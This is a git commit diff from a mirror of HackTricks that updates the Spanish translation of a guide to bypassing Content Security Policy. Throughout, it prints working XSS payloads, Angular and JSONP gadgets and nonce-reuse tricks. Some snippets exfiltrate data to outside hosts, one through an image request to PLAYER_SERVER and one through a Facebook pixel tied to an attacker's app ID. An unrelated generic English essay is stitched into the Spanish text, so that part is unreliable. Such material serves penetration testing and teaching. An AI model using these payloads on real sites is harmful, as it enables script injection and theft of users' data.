mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['pentesting-web/content-security-policy-csp-bypass/README.md
This commit is contained in:
Translator
parent
962c2fff1f
commit
91a4c50dcf
1 changed files with 58 additions and 76 deletions
|
|
@ -7,7 +7,7 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
@ -16,26 +16,26 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
|
||||
|
||||
**Perspectivas de Hacking**\
|
||||
Participa en contenido que explora la emoción y los desafíos del hacking
|
||||
Participa en contenido que explora la emoción y los desafíos del hacking.
|
||||
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
|
||||
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
|
||||
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas
|
||||
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas.
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy.
|
||||
|
||||
## ¿Qué es CSP?
|
||||
|
||||
La Política de Seguridad de Contenido (CSP) es reconocida como una tecnología del navegador, principalmente destinada a **proteger contra ataques como scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales el navegador puede cargar recursos de forma segura. Estos recursos incluyen una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluidos recursos en línea y la ejecución de código de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
|
||||
La Política de Seguridad de Contenido (CSP) es reconocida como una tecnología del navegador, principalmente destinada a **protegerse contra ataques como scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales el navegador puede cargar recursos de forma segura. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluidos recursos en línea y la ejecución de código de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
|
||||
|
||||
La implementación de CSP se realiza a través de **encabezados de respuesta** o mediante la incorporación de **elementos meta en la página HTML**. Siguiendo esta política, los navegadores hacen cumplir proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.
|
||||
|
||||
* Implementado a través de encabezado de respuesta:
|
||||
* Implementado a través del encabezado de respuesta:
|
||||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
|
|
@ -68,11 +68,11 @@ object-src 'none';
|
|||
|
||||
* **script-src**: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts en línea y scripts activados por manejadores de eventos o hojas de estilo XSLT.
|
||||
* **default-src**: Establece una política predeterminada para obtener recursos cuando las directivas de obtención específicas están ausentes.
|
||||
* **child-src**: Especifica los recursos permitidos para los trabajadores web y el contenido de marcos incrustados.
|
||||
* **child-src**: Especifica los recursos permitidos para los trabajadores web y el contenido incrustado de marcos.
|
||||
* **connect-src**: Restringe las URLs que se pueden cargar utilizando interfaces como fetch, WebSocket, XMLHttpRequest.
|
||||
* **frame-src**: Restringe las URLs para marcos.
|
||||
* **frame-ancestors**: Especifica qué fuentes pueden incrustar la página actual, aplicable a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>` y `<applet>`.
|
||||
* **img-src**: Define las fuentes permitidas para las imágenes.
|
||||
* **img-src**: Define las fuentes permitidas para imágenes.
|
||||
* **font-src**: Especifica fuentes válidas para fuentes cargadas usando `@font-face`.
|
||||
* **manifest-src**: Define las fuentes permitidas de archivos de manifiesto de la aplicación.
|
||||
* **media-src**: Define las fuentes permitidas para cargar objetos multimedia.
|
||||
|
|
@ -96,7 +96,7 @@ object-src 'none';
|
|||
* `'unsafe-eval'`: Permite el uso de `eval()` y métodos similares, no recomendado por razones de seguridad.
|
||||
* `'unsafe-hashes'`: Habilita manejadores de eventos en línea específicos.
|
||||
* `'unsafe-inline'`: Permite el uso de recursos en línea como `<script>` o `<style>` en línea, no recomendado por razones de seguridad.
|
||||
* `'nonce'`: Una lista blanca para scripts en línea específicos usando un nonce criptográfico (número usado una vez).
|
||||
* `'nonce'`: Una lista blanca para scripts en línea específicos utilizando un nonce criptográfico (número usado una vez).
|
||||
* Si tiene una ejecución de JS limitada, es posible obtener un nonce utilizado dentro de la página con `doc.defaultView.top.document.querySelector("[nonce]")` y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes, por lo que esto no es necesario), como en:
|
||||
|
||||
<details>
|
||||
|
|
@ -114,12 +114,12 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Lista blanca de scripts con un hash sha256 específico.
|
||||
* `'strict-dynamic'`: Permite cargar scripts desde cualquier fuente si ha sido incluido en la lista blanca por un nonce o hash.
|
||||
* `'strict-dynamic'`: Permite cargar scripts desde cualquier fuente si ha sido incluido en una lista blanca por un nonce o hash.
|
||||
* `'host'`: Especifica un host específico, como `example.com`.
|
||||
* `https:`: Restringe las URL a aquellas que utilizan HTTPS.
|
||||
* `blob:`: Permite cargar recursos desde URL de Blob (por ejemplo, URL de Blob creadas mediante JavaScript).
|
||||
* `blob:`: Permite cargar recursos desde URL Blob (por ejemplo, URL Blob creadas a través de JavaScript).
|
||||
* `filesystem:`: Permite cargar recursos desde el sistema de archivos.
|
||||
* `'report-sample'`: Incluye una muestra del código que viola en el informe de violación (útil para depurar).
|
||||
* `'report-sample'`: Incluye una muestra del código que viola la política en el informe de violación (útil para depurar).
|
||||
* `'strict-origin'`: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo las fuentes seguras pueden cargar recursos desde fuentes seguras).
|
||||
* `'strict-origin-when-cross-origin'`: Envía URLs completas al realizar solicitudes del mismo origen, pero solo envía el origen cuando la solicitud es de origen cruzado.
|
||||
* `'unsafe-allow-redirects'`: Permite cargar recursos que se redirigirán inmediatamente a otro recurso. No se recomienda ya que debilita la seguridad.
|
||||
|
|
@ -142,7 +142,7 @@ Carga útil de trabajo: `"/><script>alert(1);</script>`
|
|||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
Carga de trabajo funcional:
|
||||
Carga de trabajo en funcionamiento:
|
||||
```html
|
||||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||||
```
|
||||
|
|
@ -173,11 +173,11 @@ Cargas de trabajo funcionales:
|
|||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
<param name="AllowScriptAccess" value="always"></object>
|
||||
```
|
||||
### Carga de archivos + 'self'
|
||||
### Subida de archivos + 'self'
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Si puedes subir un archivo JS puedes evadir este CSP:
|
||||
Si puedes subir un archivo JS puedes evadir esta CSP:
|
||||
|
||||
Payload funcional:
|
||||
```markup
|
||||
|
|
@ -185,18 +185,18 @@ Payload funcional:
|
|||
```
|
||||
Sin embargo, es altamente probable que el servidor esté **validando el archivo cargado** y solo te permitirá **subir un tipo específico de archivos**.
|
||||
|
||||
Además, incluso si pudieras cargar un **código JS dentro** de un archivo utilizando una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo basado en la extensión** y los navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Afortunadamente", existen errores. Por ejemplo, de un CTF aprendí que **Apache no reconoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
|
||||
Además, incluso si pudieras cargar un **código JS dentro** de un archivo utilizando una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo basado en la extensión** y los navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Afortunadamente", existen errores. Por ejemplo, de un CTF aprendí que **Apache no reconoce** la extensión _**.wave**_, por lo tanto no la sirve con un **tipo MIME como audio/\***.
|
||||
|
||||
A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar cargar un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo cargado, crear un políglota ([algunos ejemplos de políglotas aquí](https://github.com/Polydet/polyglot-database)).
|
||||
A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión mal interpretada**, podrías intentar cargar un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo cargado, crear un políglota ([algunos ejemplos de políglotas aquí](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
### Acción de formulario
|
||||
|
||||
Si no es posible inyectar JS, aún podrías intentar exfiltrar, por ejemplo, credenciales **inyectando una acción de formulario** (y tal vez esperar que los administradores de contraseñas autocompleten las contraseñas). Puedes encontrar un [**ejemplo en este informe**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Además, ten en cuenta que `default-src` no cubre las acciones de formulario.
|
||||
|
||||
### Puntos finales de terceros + ('unsafe-eval')
|
||||
|
||||
{% hint style="warning" %}
|
||||
Para algunos de los siguientes payloads, **`unsafe-eval` ni siquiera es necesario**.
|
||||
Para algunos de los siguientes payloads, **ni siquiera se necesita** `unsafe-eval`.
|
||||
{% endhint %}
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
|
|
@ -222,7 +222,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([consulta esta publicación](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads utilizando Angular + una biblioteca con funciones que devuelven el objeto `window` ([consulta esta publicación](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
La publicación muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones añadidas de cada biblioteca, y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**.
|
||||
|
|
@ -250,9 +250,9 @@ La publicación muestra que podrías **cargar** todas las **bibliotecas** desde
|
|||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
## Bypassing Content Security Policy (CSP) with Angular XSS from a class name:
|
||||
## Bypassing Content Security Policy (CSP) using Angular XSS from a class name:
|
||||
|
||||
## Saltándose la Política de Seguridad de Contenido (CSP) con XSS en Angular desde un nombre de clase:
|
||||
## Saltándose la Política de Seguridad de Contenido (CSP) usando XSS de Angular desde un nombre de clase:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
|
@ -260,7 +260,7 @@ La publicación muestra que podrías **cargar** todas las **bibliotecas** desde
|
|||
```
|
||||
#### Abusando del código JS de google recaptcha
|
||||
|
||||
Según [**este informe de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) puedes abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de un CSP para ejecutar código JS arbitrario eludiendo el CSP:
|
||||
Según [**este informe de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) se puede abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de un CSP para ejecutar código JS arbitrario eludiendo el CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
|
|
@ -292,7 +292,7 @@ La siguiente URL redirige a example.com (de [aquí](https://www.landh.tech/blog/
|
|||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
### Endpoints de Terceros + JSONP
|
||||
### Terceros Endpoints + JSONP
|
||||
|
||||
Es posible abusar de Google Apps Script para recibir información en una página dentro de script.google.com. Como se [hace en este informe](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
```http
|
||||
|
|
@ -310,13 +310,13 @@ https://www.youtube.com/oembed?callback=alert;
|
|||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para eludir la CSP de diferentes sitios web.**
|
||||
|
||||
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones son de confianza.
|
||||
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones también lo son.
|
||||
|
||||
### Abusos de Terceros
|
||||
|
||||
Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros, que pueden estar permitidos en alguna parte de la CSP, que pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
|
||||
Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que pueden estar permitidos en alguna parte de la CSP y pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
|
||||
|
||||
| Entidad | Dominio Permitido | Capacidades |
|
||||
| Entidad | Dominio Permitido | Capacidades |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
|
|
@ -337,38 +337,38 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||
|
||||
## Introduction
|
||||
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific page. However, CSP can sometimes be misconfigured, allowing attackers to bypass its restrictions and execute malicious code on a target website.
|
||||
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, there are ways to bypass CSP protections and execute malicious code on a target website.
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
### 1. Inline Script Execution
|
||||
|
||||
When a CSP policy allows `'unsafe-inline'` for script sources, attackers can execute arbitrary JavaScript code by injecting it directly into HTML attributes such as `onclick` or `onmouseover`.
|
||||
One common way to bypass CSP is by executing inline scripts. By using techniques like dynamic script injection or event handlers, attackers can execute arbitrary code inline, bypassing CSP restrictions.
|
||||
|
||||
### 2. Data: URI Scheme
|
||||
### 2. External Script Execution
|
||||
|
||||
Attackers can bypass CSP restrictions by using the `data:` URI scheme to embed external resources directly into HTML documents. This technique allows the execution of scripts without violating the CSP policy.
|
||||
Attackers can also bypass CSP by loading external scripts from whitelisted domains. By hosting malicious code on a trusted domain, attackers can trick the CSP into allowing the execution of the script.
|
||||
|
||||
### 3. Self-XSS
|
||||
### 3. Data URI Bypass
|
||||
|
||||
Attackers can trick users into executing malicious scripts by disguising them as legitimate input fields or interactive elements on the website. This technique relies on social engineering to bypass CSP protections.
|
||||
Another technique involves using data URIs to embed malicious code directly into HTML documents. By encoding the malicious script into a data URI format, attackers can bypass CSP restrictions and execute the code.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Content Security Policy is a powerful security mechanism that can help protect web applications from various types of attacks. However, it is essential for web developers to configure CSP properly to prevent bypass techniques that could compromise the security of their websites. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities before they are exploited by malicious actors.
|
||||
While Content Security Policy is a powerful security measure, it is not foolproof. It is important for website owners to regularly review and update their CSP configurations to prevent bypass techniques and protect their websites from potential attacks.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Deberías poder extraer datos, de manera similar a como siempre se ha hecho con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). En este caso, sigue estos pasos generales:
|
||||
Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). En este caso, sigues estos pasos generales:
|
||||
|
||||
1. Crea una cuenta de desarrollador en Facebook aquí.
|
||||
2. Crea una nueva aplicación de "Inicio de sesión de Facebook" y selecciona "Sitio web".
|
||||
2. Crea una nueva aplicación de "Facebook Login" y selecciona "Sitio web".
|
||||
3. Ve a "Configuración -> Básico" y obtén tu "ID de la aplicación".
|
||||
4. En el sitio objetivo del que deseas extraer datos, puedes hacerlo directamente utilizando el gadget del SDK de Facebook "fbq" a través de un "evento personalizado" y la carga de datos.
|
||||
4. En el sitio objetivo del que deseas exfiltrar datos, puedes hacerlo directamente utilizando el gadget del SDK de Facebook "fbq" a través de un "customEvent" y la carga de datos.
|
||||
5. Ve a tu "Gestor de eventos" de la aplicación y selecciona la aplicación que creaste (nota que el gestor de eventos podría encontrarse en una URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Selecciona la pestaña "Eventos de prueba" para ver los eventos enviados por "tu" sitio web.
|
||||
|
||||
Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para que apunte a la cuenta de desarrollador de Facebook del atacante con el ID de la aplicación y emitir un evento personalizado como este:
|
||||
Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook y apuntar a la cuenta de desarrollador de Facebook del atacante con el ID de la aplicación y emitir un evento personalizado como este:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
|
|
@ -385,7 +385,7 @@ Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, se pue
|
|||
```
|
||||
El navegador finalmente cargará `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Esto funciona porque para el navegador, estás cargando un archivo llamado `..%2fangular%2fangular.js` ubicado bajo `https://example.com/scripts/react/`, lo cual cumple con la CSP.
|
||||
Esto funciona porque para el navegador, se está cargando un archivo llamado `..%2fangular%2fangular.js` ubicado bajo `https://example.com/scripts/react/`, lo cual cumple con la CSP.
|
||||
|
||||
Por lo tanto, el navegador lo decodificará, solicitando efectivamente `https://example.com/scripts/react/../angular/angular.js`, lo cual es equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
|
|
@ -395,7 +395,7 @@ La solución es no tratar `%2f` como `/` en el lado del servidor, asegurando una
|
|||
|
||||
Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Ejecución de JS en Iframes
|
||||
### Ejecución de JS en iframes
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
|
@ -471,19 +471,19 @@ Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vuln
|
|||
|
||||
### Bypass CSP con marcado colgante
|
||||
|
||||
Lee [cómo aquí](../dangling-markup-html-scriptless-injection/).
|
||||
Lea [cómo aquí](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
### 'unsafe-inline'; img-src \*; a través de XSS
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` significa que se puede ejecutar cualquier script dentro del código (XSS puede ejecutar código) e `img-src *` significa que se pueden usar en la página web cualquier imagen de cualquier recurso.
|
||||
`'unsafe-inline'` significa que se puede ejecutar cualquier script dentro del código (XSS puede ejecutar código) e `img-src *` significa que se puede usar en la página web cualquier imagen de cualquier recurso.
|
||||
|
||||
Puedes evadir este CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la bandera a través de una imagen):
|
||||
Puedes evadir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la bandera a través de una imagen):
|
||||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
Desde: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
También se podría abusar de esta configuración para **cargar código JavaScript insertado dentro de una imagen**. Por ejemplo, si la página permite cargar imágenes desde Twitter, podrías **crear** una **imagen especial**, **subirla** a Twitter y abusar del "**unsafe-inline**" para **ejecutar** un código JS (como un XSS regular) que **cargará** la **imagen**, **extraerá** el **JS** de ella y lo **ejecutará**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
|
|
@ -519,7 +519,7 @@ Ejemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
|
|||
Observa la falta de la directiva `'unsafe-inline'`\
|
||||
Esta vez puedes hacer que la víctima **cargue** una página bajo **tu control** a través de **XSS** con un `<iframe`. Esta vez harás que la víctima acceda a la página desde donde deseas extraer información (**CSRF**). No puedes acceder al contenido de la página, pero si de alguna manera puedes **controlar el tiempo que la página necesita para cargar** puedes extraer la información que necesitas.
|
||||
|
||||
Esta vez se va a extraer una **bandera**, cada vez que se **adivine correctamente un carácter** a través de SQLi la **respuesta** tardará **más tiempo** debido a la función de espera. Luego, podrás extraer la bandera:
|
||||
Esta vez se va a extraer una **bandera**, cada vez que se adivine correctamente un **carácter a través de SQLi** la **respuesta** tardará **más tiempo** debido a la función de espera. Luego, podrás extraer la bandera:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||
|
|
@ -598,7 +598,7 @@ Puede **restringir una CSP de un Iframe** con el atributo **`csp`**:
|
|||
{% endcode %}
|
||||
|
||||
En [**este informe de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible a través de una **inyección HTML** **restringir** aún más un **CSP** para deshabilitar un script que evitaba CSTI y, por lo tanto, la **vulnerabilidad se volvió explotable.**\
|
||||
CSP puede ser más restrictivo utilizando **etiquetas meta HTML** y los scripts en línea pueden ser deshabilitados **eliminando** la **entrada** que permite su **nonce** y **habilitar scripts en línea específicos a través de sha**:
|
||||
CSP puede ser más restrictivo utilizando **etiquetas meta HTML** y los scripts en línea pueden ser deshabilitados **eliminando** la **entrada** que permite su **nonce** y **habilitando scripts en línea específicos a través de sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
|
|
@ -623,11 +623,11 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
|
||||
Es interesante notar que navegadores como Chrome y Firefox tienen diferentes comportamientos al manejar iframes con respecto a CSP, lo que puede llevar a la filtración potencial de información sensible debido al comportamiento indefinido.
|
||||
|
||||
Otra técnica implica explotar el CSP en sí para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que están deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto por caracteres desconocidos, puedes probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí tienes un fragmento que muestra cómo se podría configurar el CSP para facilitar este método:
|
||||
Otra técnica implica explotar el CSP en sí para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y ajusta el CSP para incluir dominios específicos que están deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto por caracteres desconocidos, puedes probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí hay un fragmento que muestra cómo se podría configurar el CSP para facilitar este método:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Al monitorear qué solicitudes son bloqueadas o permitidas por la CSP, se puede reducir el número de caracteres posibles en el subdominio secreto, descubriendo eventualmente la URL completa.
|
||||
Al monitorear qué solicitudes son bloqueadas o permitidas por la CSP, se puede reducir las posibles letras en el subdominio secreto, descubriendo eventualmente la URL completa.
|
||||
|
||||
Ambos métodos explotan los matices de la implementación y el comportamiento de la CSP en los navegadores, demostrando cómo las políticas aparentemente seguras pueden filtrar inadvertidamente información sensible.
|
||||
|
||||
|
|
@ -638,13 +638,13 @@ Truco de [**aquí**](https://ctftime.org/writeup/29310).
|
|||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
|
||||
|
||||
**Perspectivas de Hacking**\
|
||||
Participa en contenido que profundiza en la emoción y los desafíos del hacking
|
||||
Participa en contenido que explora la emoción y los desafíos del hacking
|
||||
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
|
||||
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma
|
||||
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones importantes de la plataforma
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
|
|
@ -659,7 +659,7 @@ Idea de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-
|
|||
|
||||
### Reescribir Página de Error
|
||||
|
||||
Según [**este writeup**](https://blog.ssrf.kr/69), parece que era posible evadir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
|
||||
Según [**este writeup**](https://blog.ssrf.kr/69), parece que fue posible evadir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
|
|
@ -676,7 +676,7 @@ SOME es una técnica que abusa de un XSS (o XSS altamente limitado) **en un punt
|
|||
|
||||
Además, **wordpress** tiene un punto final **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos).
|
||||
|
||||
